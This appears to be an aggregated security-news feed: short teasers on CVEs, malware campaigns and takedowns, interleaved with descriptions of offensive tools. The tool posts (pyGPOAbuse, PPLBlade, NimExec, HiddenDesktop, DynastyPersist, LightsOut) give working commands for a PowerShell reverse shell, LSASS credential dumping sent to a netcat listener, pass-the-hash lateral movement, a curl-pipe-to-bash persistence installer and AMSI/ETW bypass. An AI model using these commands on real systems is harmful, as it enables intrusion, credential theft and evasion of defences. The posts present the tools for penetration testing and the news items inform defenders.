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VMware Alert: Uninstall EAP Now - Critical Flaw Puts Active Directory at Risk

By: Newsroom
VMware is urging users to uninstall the deprecated Enhanced Authentication Plugin (EAP) following the discovery of a critical security flaw. Tracked as CVE-2024-22245 (CVSS score: 9.6), the vulnerability has been described as an arbitrary authentication relay bug. "A malicious actor could trick a target domain user with EAP installed in their web browser into requesting and relaying

WordPress Bricks Theme Under Active Attack: Critical Flaw Impacts 25,000+ Sites

By: Newsroom
A critical security flaw in the Bricks theme for WordPress is being actively exploited by threat actors to run arbitrary PHP code on susceptible installations. The flaw, tracked as CVE-2024-25600 (CVSS score: 9.8), enables unauthenticated attackers to achieve remote code execution. It impacts all versions of the Bricks up to and including 1.9.6. It has been addressed by the theme developers in&

Iran and Hezbollah Hackers Launch Attacks to Influence Israel-Hamas Narrative

By: Newsroom
Hackers backed by Iran and Hezbollah staged cyber attacks designed to undercut public support for the Israel-Hamas war after October 2023. This includes destructive attacks against key Israeli organizations, hack-and-leak operations targeting entities in Israel and the U.S., phishing campaigns designed to steal intelligence, and information operations to turn public opinion against Israel. Iran

Critical Exchange Server Flaw (CVE-2024-21410) Under Active Exploitation

By: Newsroom
Microsoft on Wednesday acknowledged that a newly disclosed critical security flaw in Exchange Server has been actively exploited in the wild, a day after it released fixes for the vulnerability as part of its Patch Tuesday updates. Tracked as CVE-2024-21410 (CVSS score: 9.8), the issue has been described as a case of privilege escalation impacting the Exchange Server. "An attacker

U.S. DoJ Dismantles Warzone RAT Infrastructure, Arrests Key Operators

By: Newsroom
The U.S. Justice Department (DoJ) on Friday announced the seizure of online infrastructure that was used to sell a remote access trojan (RAT) called Warzone RAT. The domains – www.warzone[.]ws and three others – were "used to sell computer malware used by cybercriminals to secretly access and steal data from victims' computers," the DoJ said. Alongside the takedown, the

New Coyote Trojan Targets 61 Brazilian Banks with Nim-Powered Attack

By: Newsroom
Sixty-one banking institutions, all of them originating from Brazil, are the target of a new banking trojan called Coyote. "This malware utilizes the Squirrel installer for distribution, leveraging Node.js and a relatively new multi-platform programming language called Nim as a loader to complete its infection," Russian cybersecurity firm Kaspersky said in a Thursday report. What

Critical Boot Loader Vulnerability in Shim Impacts Nearly All Linux Distros

By: Newsroom
The maintainers of shim have released version 15.8 to address six security flaws, including a critical bug that could pave the way for remote code execution under specific circumstances. Tracked as CVE-2023-40547 (CVSS score: 9.8), the vulnerability could be exploited to achieve a Secure Boot bypass. Bill Demirkapi of the Microsoft Security Response Center (MSRC) has been&

Patchwork Using Romance Scam Lures to Infect Android Devices with VajraSpy Malware

By: Newsroom
The threat actor known as Patchwork likely used romance scam lures to trap victims in Pakistan and India, and infect their Android devices with a remote access trojan called VajraSpy. Slovak cybersecurity firm ESET said it uncovered 12 espionage apps, six of which were available for download from the official Google Play Store and were collectively downloaded more than 1,400 times between

Mastodon Vulnerability Allows Hackers to Hijack Any Decentralized Account

By: Newsroom
The decentralized social network Mastodon has disclosed a critical security flaw that enables malicious actors to impersonate and take over any account. "Due to insufficient origin validation in all Mastodon, attackers can impersonate and take over any remote account," the maintainers said in a terse advisory. The vulnerability, tracked as CVE-2024-23832, has a severity rating of 9.4 out of

AnyDesk Hacked: Popular Remote Desktop Software Mandates Password Reset

By: Newsroom
Remote desktop software maker AnyDesk disclosed on Friday that it suffered a cyber attack that led to a compromise of its production systems. The German company said the incident, which it discovered following a security audit, is not a ransomware attack and that it has notified relevant authorities. "We have revoked all security-related certificates and systems have been remediated or replaced

Juniper Networks Releases Urgent Junos OS Updates for High-Severity Flaws

By: Newsroom
Juniper Networks has released out-of-band updates to address high-severity flaws in SRX Series and EX Series that could be exploited by a threat actor to take control of susceptible systems. The vulnerabilities, tracked as CVE-2024-21619 and CVE-2024-21620, are rooted in the J-Web component and impact all versions of Junos OS. Two other shortcomings, CVE-2023-36846 and CVE-2023-

Malicious Ads on Google Target Chinese Users with Fake Messaging Apps

By: Newsroom
Chinese-speaking users have been targeted by malicious Google ads for restricted messaging apps like Telegram as part of an ongoing malvertising campaign. "The threat actor is abusing Google advertiser accounts to create malicious ads and pointing them to pages where unsuspecting users will download Remote Administration Trojan (RATs) instead," Malwarebytes' Jérôme Segura said in a

SystemBC Malware's C2 Server Analysis Exposes Payload Delivery Tricks

By: Newsroom
Cybersecurity researchers have shed light on the command-and-control (C2) server workings of a known malware family called SystemBC. "SystemBC can be purchased on underground marketplaces and is supplied in an archive containing the implant, a command-and-control (C2) server, and a web administration portal written in PHP," Kroll said in an analysis published last week. The risk

Critical Jenkins Vulnerability Exposes Servers to RCE Attacks - Patch ASAP!

By: Newsroom
The maintainers of the open-source continuous integration/continuous delivery and deployment (CI/CD) automation software Jenkins have resolved nine security flaws, including a critical bug that, if successfully exploited, could result in remote code execution (RCE). The issue, assigned the CVE identifier CVE-2024-23897, has been described as an arbitrary file read vulnerability through the

PixieFail UEFI Flaws Expose Millions of Computers to RCE, DoS, and Data Theft

By: Newsroom
Multiple security vulnerabilities have been disclosed in the TCP/IP network protocol stack of an open-source reference implementation of the Unified Extensible Firmware Interface (UEFI) specification used widely in modern computers. Collectively dubbed PixieFail by Quarkslab, the nine issues reside in the TianoCore EFI Development Kit II (EDK II) and could be exploited to

pyGPOAbuse - Partial Python Implementation Of SharpGPOAbuse

By: Zion3R


Python partial implementation of SharpGPOAbuse by@pkb1s

This tool can be used when a controlled account can modify an existing GPO that applies to one or more users & computers. It will create an immediate scheduled task as SYSTEM on the remote computer for computer GPO, or as logged in user for user GPO.

Default behavior adds a local administrator.


How to use

Basic usage

Add john user to local administrators group (Password: H4x00r123..)

./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"

Advanced usage

Reverse shell example

./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" \ 
    -powershell \ 
    -command "\$client = New-Object System.Net.Sockets.TCPClient('10.20.0.2',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" \ 
    -taskname "Completely Legit Task" \
    -description "Dis is legit, pliz no delete" \ 
    -user

Credits



GitHub Rotates Keys After High-Severity Vulnerability Exposes Credentials

By: Newsroom
GitHub has revealed that it has rotated some keys in response to a security vulnerability that could be potentially exploited to gain access to credentials within a production container. The Microsoft-owned subsidiary said it was made aware of the problem on December 26, 2023, and that it addressed the issue the same day, in addition to rotating all potentially exposed credentials out of an

Alert: Over 178,000 SonicWall Firewalls Potentially Vulnerable to Exploits - Act Now

By: Newsroom
Over 178,000 SonicWall firewalls exposed over the internet are exploitable to at least one of the two security flaws that could be potentially exploited to cause a denial-of-service (DoS) condition and remote code execution (RCE). “The two issues are fundamentally the same but exploitable at different HTTP URI paths due to reuse of a vulnerable code pattern,” Jon Williams, a senior security

Opera MyFlaw Bug Could Let Hackers Run ANY File on Your Mac or Windows

By: Newsroom
Cybersecurity researchers have disclosed a now-patched security flaw in the Opera web browser for Microsoft Windows and Apple macOS that could be exploited to execute any file on the underlying operating system. The remote code execution vulnerability has been codenamed MyFlaw by the Guardio Labs research team owing to the fact that it takes advantage of a feature called My Flow that

High-Severity Flaws Uncovered in Bosch Thermostats and Smart Nutrunners

By: Newsroom
Multiple security vulnerabilities have been disclosed in Bosch BCC100 thermostats and Rexroth NXA015S-36V-B smart nutrunners that, if successfully exploited, could allow attackers to execute arbitrary code on affected systems. Romanian cybersecurity firm Bitdefender, which discovered the flaw in Bosch BCC100 thermostats last August, said the issue could be weaponized by an attacker to

Critical RCE Vulnerability Uncovered in Juniper SRX Firewalls and EX Switches

By: Newsroom
Juniper Networks has released updates to fix a critical remote code execution (RCE) vulnerability in its SRX Series firewalls and EX Series switches. The issue, tracked as CVE-2024-21591, is rated 9.8 on the CVSS scoring system. “An out-of-bounds write vulnerability in J-Web of Juniper Networks Junos OS SRX Series and EX Series allows an unauthenticated, network-based attacker to cause a

Cryptominers Targeting Misconfigured Apache Hadoop and Flink with Rootkit in New Attacks

By: Newsroom
Cybersecurity researchers have identified a new attack that exploits misconfigurations in Apache Hadoop and Flink to deploy cryptocurrency miners within targeted environments. "This attack is particularly intriguing due to the attacker's use of packers and rootkits to conceal the malware," Aqua security researchers Nitzan Yaakov and Assaf Morag said in an analysis published earlier

Act Now: CISA Flags Active Exploitation of Microsoft SharePoint Vulnerability

By: Newsroom
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added a critical security vulnerability impacting Microsoft SharePoint Server to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation. The issue, tracked as CVE-2023-29357 (CVSS score: 9.8), is a privilege escalation flaw that could be exploited by an attacker to gain

New PoC Exploit for Apache OfBiz Vulnerability Poses Risk to ERP Systems

By: Newsroom
Cybersecurity researchers have developed a proof-of-concept (PoC) code that exploits a recently disclosed critical flaw in the Apache OfBiz open-source Enterprise Resource Planning (ERP) system to execute a memory-resident payload. The vulnerability in question is CVE-2023-51467 (CVSS score: 9.8), a bypass for another severe shortcoming in the same software (CVE-

Atomic Stealer Gets an Upgrade - Targeting Mac Users with Encrypted Payload

By: Newsroom
Cybersecurity researchers have identified an updated version of a macOS information stealer called Atomic (or AMOS), indicating that the threat actors behind the malware are actively enhancing its capabilities. "It looks like Atomic Stealer was updated around mid to late December 2023, where its developers introduced payload encryption in an effort to bypass detection rules,"

Microsoft's January 2024 Windows Update Patches 48 New Vulnerabilities

By: Newsroom
Microsoft has addressed a total of 48 security flaws spanning its software as part of its Patch Tuesday updates for January 2024. Of the 48 bugs, two are rated Critical and 46 are rated Important in severity. There is no evidence that any of the issues are publicly known or under active attack at the time of release, making it the second consecutive Patch Tuesday with no zero-days. The

CISA Flags 6 Vulnerabilities - Apple, Apache, Adobe, D-Link, Joomla Under Attack

By: Newsroom
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added six security flaws to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation. This includes CVE-2023-27524 (CVSS score: 8.9), a high-severity vulnerability impacting the Apache Superset open-source data visualization software that could enable remote code execution.

Syrian Hackers Distributing Stealthy C#-Based Silver RAT to Cybercriminals

By: Newsroom
Threat actors operating under the name Anonymous Arabic have released a remote access trojan (RAT) called Silver RAT that’s equipped to bypass security software and stealthily launch hidden applications. “The developers operate on multiple hacker forums and social media platforms, showcasing an active and sophisticated presence,” cybersecurity firm Cyfirma said in a report

PPLBlade - Protected Process Dumper Tool

By: Zion3R


Protected Process Dumper Tool that support obfuscating memory dump and transferring it on remote workstations without dropping it onto the disk.

Key functionalities:

  1. Bypassing PPL protection
  2. Obfuscating memory dump files to evade Defender signature-based detection mechanisms
  3. Uploading memory dump with RAW and SMB upload methods without dropping it onto the disk (fileless dump)

Overview of the techniques, used in this tool can be found here: https://tastypepperoni.medium.com/bypassing-defenders-lsass-dump-detection-and-ppl-protection-in-go-7dd85d9a32e6

Note that PROCEXP15.SYS is listed in the source files for compiling purposes. It does not need to be transferred on the target machine alongside the PPLBlade.exe.

It’s already embedded into the PPLBlade.exe. The exploit is just a single executable.

Modes:

  1. Dump - Dump process memory using PID or Process Name
  2. Decrypt - Revert obfuscated(--obfuscate) dump file to its original state
  3. Cleanup - Do cleanup manually, in case something goes wrong on execution (Note that the option values should be the same as for the execution, we're trying to clean up)
  4. DoThatLsassThing - Dump lsass.exe using Process Explorer driver (basic poc)

Handle Modes:

  1. Direct - Opens PROCESS_ALL_ACCESS handle directly, using OpenProcess() function
  2. Procexp - Uses PROCEXP152.sys to obtain a handle
Examples:

Basic POC that uses PROCEXP152.sys to dump lsass:

PPLBlade.exe --mode dothatlsassthing

(Note that it does not XOR dump file, provide an additional obfuscate flag to enable the XOR functionality)

Upload the obfuscated LSASS dump onto a remote location:

PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234

Attacker host:

nc -lnp 1234 > lsass.dmp
python3 deobfuscate.py --dumpname lsass.dmp

Deobfuscate memory dump:

PPLBlade.exe --mode descrypt --dumpname PPLBlade.dmp --key PPLBlade


Hackers Exploiting MS Excel Vulnerability to Spread Agent Tesla Malware

By: Newsroom
Attackers are weaponizing an old Microsoft Office vulnerability as part of phishing campaigns to distribute a strain of malware called Agent Tesla. The infection chains leverage decoy Excel documents attached in invoice-themed messages to trick potential targets into opening them and activate the exploitation of CVE-2017-11882 (CVSS score: 7.8), a memory corruption vulnerability in Office's

Beware: Experts Reveal New Details on Zero-Click Outlook RCE Exploits

By: Newsroom
Technical details have emerged about two now-patched security flaws in Microsoft Windows that could be chained by threat actors to achieve remote code execution on the Outlook email service sans any user interaction. "An attacker on the internet can chain the vulnerabilities together to create a full, zero-click remote code execution (RCE) exploit against Outlook clients," Akamai security

Top 7 Trends Shaping SaaS Security in 2024

By: The Hacker News
Over the past few years, SaaS has developed into the backbone of corporate IT. Service businesses, such as medical practices, law firms, and financial services firms, are almost entirely SaaS based. Non-service businesses, including manufacturers and retailers, have about 70% of their software in the cloud.  These applications contain a wealth of data, from minimally sensitive general

QakBot Malware Resurfaces with New Tactics, Targeting the Hospitality Industry

By: Newsroom
A new wave of phishing messages distributing the QakBot malware has been observed, more than three months after a law enforcement effort saw its infrastructure dismantled by infiltrating its command-and-control (C2) network. Microsoft, which made the discovery, described it as a low-volume campaign that began on December 11, 2023, and targeted the hospitality industry. "Targets

BazaCall Phishing Scammers Now Leveraging Google Forms for Deception

By: Newsroom
The threat actors behind the BazaCall call back phishing attacks have been observed leveraging Google Forms to lend the scheme a veneer of credibility. The method is an "attempt to elevate the perceived authenticity of the initial malicious emails," cybersecurity firm Abnormal Security said in a report published today. BazaCall (aka BazarCall), which was first

Google Using Clang Sanitizers to Protect Android Against Cellular Baseband Vulnerabilities

By: Newsroom
Google is highlighting the role played by Clang sanitizers in hardening the security of the cellular baseband in the Android operating system and preventing specific kinds of vulnerabilities. This comprises Integer Overflow Sanitizer (IntSan) and BoundsSanitizer (BoundSan), both of which are part of UndefinedBehaviorSanitizer (UBSan), a tool designed to catch various kinds of

New Critical RCE Vulnerability Discovered in Apache Struts 2 - Patch Now

By: Newsroom
Apache has released a security advisory warning of a critical security flaw in the Struts 2 open-source web application framework that could result in remote code execution. Tracked as CVE-2023-50164, the vulnerability is rooted in a flawed "file upload logic" that could enable unauthorized path traversal and could be exploited under the circumstances to upload a malicious file

Researchers Unveil GuLoader Malware's Latest Anti-Analysis Techniques

By: Newsroom
Threat hunters have unmasked the latest tricks adopted by a malware strain called GuLoader in an effort to make analysis more challenging. "While GuLoader's core functionality hasn't changed drastically over the past few years, these constant updates in their obfuscation techniques make analyzing GuLoader a time-consuming and resource-intensive process," Elastic Security Labs

New Stealthy 'Krasue' Linux Trojan Targeting Telecom Firms in Thailand

By: The Hacker News
A previously unknown Linux remote access trojan called Krasue has been observed targeting telecom companies in Thailand by threat actors to main covert access to victim networks at lease since 2021. Named after a nocturnal female spirit of Southeast Asian folklore, the malware is "able to conceal its own presence during the initialization phase," Group-IB said in a report

Sierra:21 - Flaws in Sierra Wireless Routers Expose Critical Sectors to Cyber Attacks

By: Newsroom
A collection of 21 security flaws have been discovered in Sierra Wireless AirLink cellular routers and open-source software components like TinyXML and OpenNDS. Collectively tracked as Sierra:21, the issues expose over 86,000 devices across critical sectors like energy, healthcare, waste management, retail, emergency services, and vehicle tracking to cyber threats, according

Atlassian Releases Critical Software Fixes to Prevent Remote Code Execution

By: Newsroom
Atlassian has released software fixes to address four critical flaws in its software that, if successfully exploited, could result in remote code execution. The list of vulnerabilities is below - CVE-2022-1471 (CVSS score: 9.8) - Deserialization vulnerability in SnakeYAML library that can lead to remote code execution in multiple products CVE-2023-22522 (CVSS score

NimExec - Fileless Command Execution For Lateral Movement In Nim

By: Zion3R


Basically, NimExec is a fileless remote command execution tool that uses The Service Control Manager Remote Protocol (MS-SCMR). It changes the binary path of a random or given service run by LocalSystem to execute the given command on the target and restores it later via hand-crafted RPC packets instead of WinAPI calls. It sends these packages over SMB2 and the svcctl named pipe.

NimExec needs an NTLM hash to authenticate to the target machine and then completes this authentication process with the NTLM Authentication method over hand-crafted packages.

Since all required network packages are manually crafted and no operating system-specific functions are used, NimExec can be used in different operating systems by using Nim's cross-compilability support.

This project was inspired by Julio's SharpNoPSExec tool. You can think that NimExec is Cross Compilable and built-in Pass the Hash supported version of SharpNoPSExec. Also, I learned the required network packet structures from Kevin Robertson's Invoke-SMBExec Script.


Compilation

nim c -d:release --gc:markAndSweep -o:NimExec.exe Main.nim

The above command uses a different Garbage Collector because the default garbage collector in Nim is throwing some SIGSEGV errors during the service searching process.

Also, you can install the required Nim modules via Nimble with the following command:

nimble install ptr_math nimcrypto hostname

Usage

test@ubuntu:~/Desktop/NimExec$ ./NimExec -u testuser -d TESTLABS -h 123abcbde966780cef8d9ec24523acac -t 10.200.2.2 -c 'cmd.exe /c "echo test > C:\Users\Public\test.txt"' -v

                                                                                             _..._     
                                                                                          .-'_..._''.  
   _..._   .--. __  __   ___         __.....__                          __.....__       .' .'      '.\ 
 .'     '. |__||  |/  `.'   `.   .-''         '.                    .-''         '.    / .'            
.   .-.   ..--.|   .-.  .-.   ' /     .-''"'-.  `.                 /     .-''"'-.  `. . '              
|  '   '  ||  ||  |  |  |  |  |/     /________\   \ ____     _____/     /________\   \| |              
|  |   |  ||  ||  |  |  |  |  ||                  |`.   \  .'    /|                  || |              
|  |   |  ||  ||  |  |  |  |  |\    .---   ----------'  `.  `'    .' \    .-------------'. '              
|  |   |  ||  ||  |  |  |  |  | \    '-.____...---.    '.    .'    \    '-.____...---. \ '.          . 
|  |   |  ||__||__|  |__|  |__|  `.             .'     .'     `.    `.             .'   '. `._____.-'/ 
|  |   |  |                        `''-...... -'     .'  .'`.   `.    `''-...... -'       `-.______ /  
|  |   |  |                                        .'   /    `.   `.                               `   
'--'   '--'                                       '----'       '----'                                  

                                            @R0h1rr1m          


[+] Connected to 10.200.2.2:445
[+] NTLM Authentication with Hash is succesfull!
[+] Connected to IPC Share of target!
[+] Opened a handle for svcctl pipe!
[+] Bound to the RPC Interface!
[+] RPC Binding is acknowledged!
[+] SCManager handle is obtained!
[+] Number of obtained    services: 265
[+] Selected service is LxpSvc
[+] Service: LxpSvc is opened!
[+] Previous Service Path is: C:\Windows\system32\svchost.exe -k netsvcs
[+] Service config is changed!
[!] StartServiceW Return Value: 1053 (ERROR_SERVICE_REQUEST_TIMEOUT)
[+] Service start request is sent!
[+] Service config is restored!
[+] Service handle is closed!
[+] Service Manager handle is closed!
[+] SMB is closed!
[+] Tree is disconnected!
[+] Session logoff!

It's tested against Windows 10&11, Windows Server 16&19&22 from Ubuntu 20.04 and Windows 10 machines.

Command Line Parameters

    -v | --verbose                          Enable more verbose output.
    -u | --username <Username>              Username for NTLM Authentication.*
    -h | --hash <NTLM Hash>                 NTLM password hash for NTLM Authentication.*
    -t | --target <Target>                  Lateral movement target.*
    -c | --command <Command>                Command to execute.*
    -d | --domain <Domain>                  Domain name for NTLM Authentication.
    -s | --service <Service Name>           Name of the service instead of a random one.
    --help                                  Show the help message.

References



Chinese Hackers Using SugarGh0st RAT to Target South Korea and Uzbekistan

By: Newsroom
A suspected Chinese-speaking threat actor has been attributed to a malicious campaign that targets the Uzbekistan Ministry of Foreign Affairs and South Korean users with a remote access trojan called&nbsp;SugarGh0st RAT. The activity, which commenced no later than August 2023, leverages two different infection sequences to deliver the malware, which is a customized variant of&nbsp;Gh0st RAT&nbsp

CACTUS Ransomware Exploits Qlik Sense Vulnerabilities in Targeted Attacks

By: Newsroom
A&nbsp;CACTUS ransomware campaign&nbsp;has been observed exploiting recently disclosed security flaws in a cloud analytics and business intelligence platform called Qlik Sense to obtain a foothold into targeted environments. "This campaign marks the first documented instance [...] where threat actors deploying CACTUS ransomware have exploited vulnerabilities in Qlik Sense for initial access,"

HiddenDesktop - HVNC For Cobalt Strike

By: Zion3R


Hidden Desktop (often referred to as HVNC) is a tool that allows operators to interact with a remote desktop session without the user knowing. The VNC protocol is not involved, but the result is a similar experience. This Cobalt Strike BOF implementation was created as an alternative to TinyNuke/forks that are written in C++.

There are four components of Hidden Desktop:

  1. BOF initializer: Small program responsible for injecting the HVNC code into the Beacon process.

  2. HVNC shellcode: PIC implementation of TinyNuke HVNC.

  3. Server and operator UI: Server that listens for connections from the HVNC shellcode and a UI that allows the operator to interact with the remote desktop. Currently only supports Windows.

  4. Application launcher BOFs: Set of Beacon Object Files that execute applications in the new desktop.


Usage

Download the latest release or compile yourself using make. Start the HVNC server on a Windows machine accessible from the teamserver. You can then execute the client with:

HiddenDesktop <server> <port>

You should see a new blank window on the server machine. The BOF does not execute any applications by default. You can use the application launcher BOFs to execute common programs on the new desktop:

hd-launch-edge
hd-launch-explorer
hd-launch-run
hd-launch-cmd
hd-launch-chrome

You can also launch programs through File Explorer using the mouse and keyboard. Other applications can be executed using the following command:

hd-launch <command> [args]

Demo

Hidden.Desktop.mp4

Implementation Details

  1. The Aggressor script generates random pipe and desktop names. These are passed to the BOF initializer as arguments. The desktop name is stored in CS preferences at execution and is used by the application launcher BOFs. HVNC traffic is forwarded back to the team server using rportfwd. Status updates are sent back to Beacon through a named pipe.
  2. The BOF initializer starts by resolving the required modules and functions. Arguments from the Aggressor script are resolved. A pointer to a structure containing the arguments and function addresses is passed to the InputHandler function in the HVNC shellcode. It uses BeaconInjectProcess to execute the shellcode, meaning the behavior can be customized in a Malleable C2 profile or with process injection BOFs. You could modify Hidden Desktop to target remote processes, but this is not currently supported. This is done so the BOF can exit and the HVNC shellcode can continue running.
  3. InputHandler creates a new named pipe for Beacon to connect to. Once a connection has been established, the specified desktop is opened (OpenDesktopA) or created (CreateDesktopA). A new socket is established through a reverse port forward (rportfwd) to the HVNC server. The input handler creates a new thread for the DesktopHandler function described below. This thread will receive mouse and keyboard input from the HVNC server and forward it to the desktop.
  4. DesktopHandler establishes an additional socket connection to the HVNC server through the reverse port forward. This thread will monitor windows for changes and forward them to the HVNC server.

Compatibility

The HiddenDesktop BOF was tested using example.profile on the following Windows versions/architectures:

  • Windows Server 2022 x64
  • Windows Server 2016 x64
  • Windows Server 2012 R2 x64
  • Windows Server 2008 x86
  • Windows 7 SP1 x64

Known Issues

  • The start menu is not functional.

Credits



DynastyPersist - A Linux Persistence Tool!

By: Zion3R


  • A Linux persistence tool!

  • A powerful and versatile Linux persistence script designed for various security assessment and testing scenarios. This script provides a collection of features that demonstrate different methods of achieving persistence on a Linux system.


Features

  1. SSH Key Generation: Automatically generates SSH keys for covert access.

  2. Cronjob Persistence: Sets up cronjobs for scheduled persistence.

  3. Custom User with Root: Creates a custom user with root privileges.

  4. RCE Persistence: Achieves persistence through remote code execution.

  5. LKM/Rootkit: Demonstrates Linux Kernel Module (LKM) based rootkit persistence.

  6. Bashrc Persistence: Modifies user-specific shell initialization files for persistence.

  7. Systemd Service for Root: Sets up a systemd service for achieving root persistence.

  8. LD_PRELOAD Privilege Escalation Config: Configures LD_PRELOAD for privilege escalation.

  9. Backdooring Message of the Day / Header: Backdoors system message display for covert access.

  10. Modify an Existing Systemd Service: Manipulates an existing systemd service for persistence.

Usage

  1. Clone this repository to your local machine:

    git clone https://github.com/Trevohack/DynastyPersist.git

  2. One linear

    curl -sSL https://raw.githubusercontent.com/Trevohack/DynastyPersist/main/src/dynasty.sh | bash

Support

For support, email spaceshuttle.io.all@gmail.com or join our Discord server.

  • Discord: https://discord.gg/WYzu65Hp

Thank You!



N. Korean Hackers 'Mixing' macOS Malware Tactics to Evade Detection

By: Newsroom
The North Korean threat actors behind macOS malware strains such as RustBucket and KANDYKORN have been observed "mixing and matching" different elements of the two disparate attack chains, leveraging RustBucket droppers to deliver KANDYKORN. The&nbsp;findings&nbsp;come from cybersecurity firm SentinelOne, which also tied a third macOS-specific malware called ObjCShellz to the RustBucket campaign

Warning: 3 Critical Vulnerabilities Expose ownCloud Users to Data Breaches

By: Newsroom
The maintainers of the open-source file-sharing software ownCloud have warned of three critical security flaws that could be exploited to disclose sensitive information and modify files. A brief description of the vulnerabilities is as follows - CVE-2023-49103 (CVSS score: 10.0) - Disclosure of sensitive credentials and configuration in containerized deployments impacting graphapi versions from

Konni Group Using Russian-Language Malicious Word Docs in Latest Attacks

By: Newsroom
A new phishing attack has been observed leveraging a Russian-language Microsoft Word document to deliver malware capable of harvesting sensitive information from compromised Windows hosts. The activity has been attributed to a threat actor called Konni, which is assessed to share overlaps with a North Korean cluster tracked as Kimsuky (aka APT43). "This campaign relies on a remote access trojan

Mirai-based Botnet Exploiting Zero-Day Bugs in Routers and NVRs for Massive DDoS Attacks

By: Newsroom
An active malware campaign is leveraging two zero-day vulnerabilities with remote code execution (RCE) functionality to rope routers and video recorders into a Mirai-based distributed denial-of-service (DDoS) botnet. “The payload targets routers and network video recorder (NVR) devices with default admin credentials and installs Mirai variants when successful,” Akamai said in an advisory

Play Ransomware Goes Commercial - Now Offered as a Service to Cybercriminals

By: Newsroom
The ransomware strain known as Play is now being offered to other threat actors "as a service," new evidence unearthed by Adlumin has revealed. "The unusual lack of even small variations between attacks suggests that they are being carried out by affiliates who have purchased the ransomware-as-a-service (RaaS) and are following step-by-step instructions from playbooks delivered with it," the

New Agent Tesla Malware Variant Using ZPAQ Compression in Email Attacks

By: Newsroom
A new variant of the Agent Tesla malware has been observed delivered via a lure file with the ZPAQ compression format to harvest data from several email clients and nearly 40 web browsers. "ZPAQ is a file compression format that offers a better compression ratio and journaling function compared to widely used formats like ZIP and RAR," G Data malware analyst Anna Lvova said in a Monday analysis.

NetSupport RAT Infections on the Rise - Targeting Government and Business Sectors

By: Newsroom
Threat actors are targeting the education, government and business services sectors with a remote access trojan called NetSupport RAT. "The delivery mechanisms for the NetSupport RAT encompass fraudulent updates, drive-by downloads, utilization of malware loaders (such as GHOSTPULSE), and various forms of phishing campaigns," VMware Carbon Black researchers said in a report shared with The

LightsOut - Generate An Obfuscated DLL That Will Disable AMSI And ETW

By: Zion3R


LightsOut will generate an obfuscated DLL that will disable AMSI & ETW while trying to evade AV. This is done by randomizing all WinAPI functions used, xor encoding strings, and utilizing basic sandbox checks. Mingw-w64 is used to compile the obfuscated C code into a DLL that can be loaded into any process where AMSI or ETW are present (i.e. PowerShell).

LightsOut is designed to work on Linux systems with python3 and mingw-w64 installed. No other dependencies are required.


Features currently include:

  • XOR encoding for strings
  • WinAPI function name randomization
  • Multiple sandbox check options
  • Hardware breakpoint bypass option
 _______________________
|                       |
|   AMSI + ETW          |
|                       |
|        LIGHTS OUT     |
|        _______        |
|       ||     ||       |
|       ||_____||       |
|       |/    /||       |
|       /    / ||       |
|      /____/ /-'       |
|      |____|/          |
|                       |
|          @icyguider   |
|                       |
|                     RG|
`-----------------------'
usage: lightsout.py [-h] [-m <method>] [-s <option>] [-sa <value>] [-k <key>] [-o <outfile>] [-p <pid>]

Generate an obfuscated DLL that will disable AMSI & ETW

options:
  -h, --help            show this help message and exit
  -m <method>, --method <method>
                        Bypass technique (Options: patch, hwbp, remote_patch) (Default: patch)
  -s <option>, --sandbox &lt   ;option>
                        Sandbox evasion technique (Options: mathsleep, username, hostname, domain) (Default: mathsleep)
  -sa <value>, --sandbox-arg <value>
                        Argument for sandbox evasion technique (Ex: WIN10CO-DESKTOP, testlab.local)
  -k <key>, --key <key>
                        Key to encode strings with (randomly generated by default)
  -o <outfile>, --outfile <outfile>
                        File to save DLL to

Remote options:
  -p <pid>, --pid <pid>
                        PID of remote process to patch

Intended Use/Opsec Considerations

This tool was designed to be used on pentests, primarily to execute malicious powershell scripts without getting blocked by AV/EDR. Because of this, the tool is very barebones and a lot can be added to improve opsec. Do not expect this tool to completely evade detection by EDR.

Usage Examples

You can transfer the output DLL to your target system and load it into powershell various ways. For example, it can be done via P/Invoke with LoadLibrary:

Or even easier, copy powershell to an arbitrary location and side load the DLL!

Greetz/Credit/Further Reference:



New PoC Exploit for Apache ActiveMQ Flaw Could Let Attackers Fly Under the Radar

By: Newsroom
Cybersecurity researchers have demonstrated a new technique that exploits a critical security flaw in Apache ActiveMQ to achieve arbitrary code execution in memory. Tracked as CVE-2023-46604 (CVSS score: 10.0), the vulnerability is a remote code execution bug that could permit a threat actor to run arbitrary shell commands. It was patched by Apache in ActiveMQ versions 5.15.16, 5.16.7, 5.17.6,

Reptar: New Intel CPU Vulnerability Impacts Multi-Tenant Virtualized Environments

By: Newsroom
Intel has released fixes to close out a high-severity flaw codenamed Reptar that impacts its desktop, mobile, and server CPUs. Tracked as CVE-2023-23583 (CVSS score: 8.8), the issue has the potential to "allow escalation of privilege and/or information disclosure and/or denial of service via local access." Successful exploitation of the vulnerability could also permit a bypass of the CPU's

Urgent: VMware Warns of Unpatched Critical Cloud Director Vulnerability

By: Newsroom
VMware is warning of a critical and unpatched security flaw in Cloud Director that could be exploited by a malicious actor to get around authentication protections. Tracked as CVE-2023-34060 (CVSS score: 9.8), the vulnerability impacts instances that have been upgraded to version 10.5 from an older version. "On an upgraded version of VMware Cloud Director Appliance 10.5, a malicious actor with

CacheWarp Attack: New Vulnerability in AMD SEV Exposes Encrypted VMs

By: Newsroom
